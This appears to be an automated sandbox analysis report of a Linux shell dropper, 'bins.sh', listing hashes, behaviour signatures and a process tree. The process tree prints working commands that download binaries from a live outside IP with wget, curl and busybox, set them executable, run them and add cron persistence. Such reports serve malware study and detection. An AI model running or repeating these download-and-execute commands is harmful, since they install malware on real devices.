Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    24-11-2024 08:25

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0af379b28e85dfce41e7fc8861d805c6

  • SHA1

    f1e5057c774b046f9eb9ac98dbe382d1dbfc97ec

  • SHA256

    fb5ee91c0df4ed146dd8bfd39aa07ca4ebf01b4bffcf6924aed8eba81f0f0e08

  • SHA512

    85f4dd5f65046f65d12961fa0ae9f14d9ec929bfb3fd082191f49c70cc67f392c2c62ccb5cab64c3b847d8ba45b6bb073e0c3f540ad64fe226d40f349ddef6d3

  • SSDEEP

    192:mYI8amarlNL7X7D7Ebzdz3Pl77fC78EJ4Q4A48V5f7H+HyHRGmPP+PyPNCiO7maT:r3CidN8V5fL6uRGmQ8dN8V5P6uRGmB

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1914) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:685
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:688
        • /usr/bin/wget
          wget http://87.120.125.191/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • Writes file to tmp directory
          PID:690
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • Writes file to tmp directory
          PID:707
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • Writes file to tmp directory
          PID:715
        • /bin/chmod
          chmod 777 nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • File and Directory Permissions Modification
          PID:716
        • /tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          ./nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • Executes dropped EXE
          PID:717
        • /bin/rm
          rm nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
            PID:719
          • /usr/bin/wget
            wget http://87.120.125.191/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • Writes file to tmp directory
            PID:720
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • Writes file to tmp directory
            PID:721
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • Writes file to tmp directory
            PID:722
          • /bin/chmod
            chmod 777 0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • File and Directory Permissions Modification
            PID:723
          • /tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            ./0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • Executes dropped EXE
            PID:724
          • /bin/rm
            rm 0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
              PID:726
            • /usr/bin/wget
              wget http://87.120.125.191/bins/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              2⤵
              • Writes file to tmp directory
              PID:727
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              2⤵
              • Writes file to tmp directory
              PID:728
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              2⤵
              • Writes file to tmp directory
              PID:729
            • /bin/chmod
              chmod 777 PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              2⤵
              • File and Directory Permissions Modification
              PID:731
            • /tmp/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              ./PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              2⤵
              • Executes dropped EXE
              PID:733
            • /bin/rm
              rm PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              2⤵
                PID:735
              • /usr/bin/wget
                wget http://87.120.125.191/bins/Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                2⤵
                • Writes file to tmp directory
                PID:737
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:745
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                2⤵
                • Writes file to tmp directory
                PID:752
              • /bin/chmod
                chmod 777 Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                2⤵
                • File and Directory Permissions Modification
                PID:756
              • /tmp/Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                ./Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                2⤵
                • Executes dropped EXE
                PID:758
              • /bin/rm
                rm Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                2⤵
                  PID:761
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  2⤵
                  • Writes file to tmp directory
                  PID:763
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  2⤵
                  • Writes file to tmp directory
                  PID:770
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  2⤵
                  • Writes file to tmp directory
                  PID:783
                • /bin/chmod
                  chmod 777 tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  2⤵
                  • File and Directory Permissions Modification
                  PID:787
                • /tmp/tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  ./tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  2⤵
                  • Executes dropped EXE
                  PID:789
                • /bin/rm
                  rm tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  2⤵
                    PID:791
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                    2⤵
                    • Writes file to tmp directory
                    PID:792
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                    2⤵
                    • Writes file to tmp directory
                    PID:794
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                    2⤵
                    • Writes file to tmp directory
                    PID:795
                  • /bin/chmod
                    chmod 777 y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                    2⤵
                    • File and Directory Permissions Modification
                    PID:796
                  • /tmp/y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                    ./y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:797
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:799
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:800
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:801
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:802
                        • /bin/rm
                          rm y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                          2⤵
                            PID:804
                          • /usr/bin/wget
                            wget http://87.120.125.191/bins/hDnTG0Y48Qig5W9Zh21eLcBkfn8MTBIdOL
                            2⤵
                              PID:807
                            • /usr/bin/curl
                              curl -O http://87.120.125.191/bins/hDnTG0Y48Qig5W9Zh21eLcBkfn8MTBIdOL
                              2⤵
                                PID:888

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /tmp/y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /var/spool/cron/crontabs/tmp.t7w769

                              Filesize

                              210B

                              MD5

                              1a093cae1ce3628a132d323eeaff608c

                              SHA1

                              c1a08deb78b4becd17cc78211dba8960e3ddf72a

                              SHA256

                              1c57b03f4f9ff4a13ff90f10d83d613e54a0603ca4019a1d1475bf6000f4b83a

                              SHA512

                              ac6cf22093e3c37e029e97a8a6125b9b31a23ec50296ad42b47cb1bed5fb2fd714fd52b3909b4f95a958d5a7fbea2bbba598600e1e77e59252e7c4dd3b814718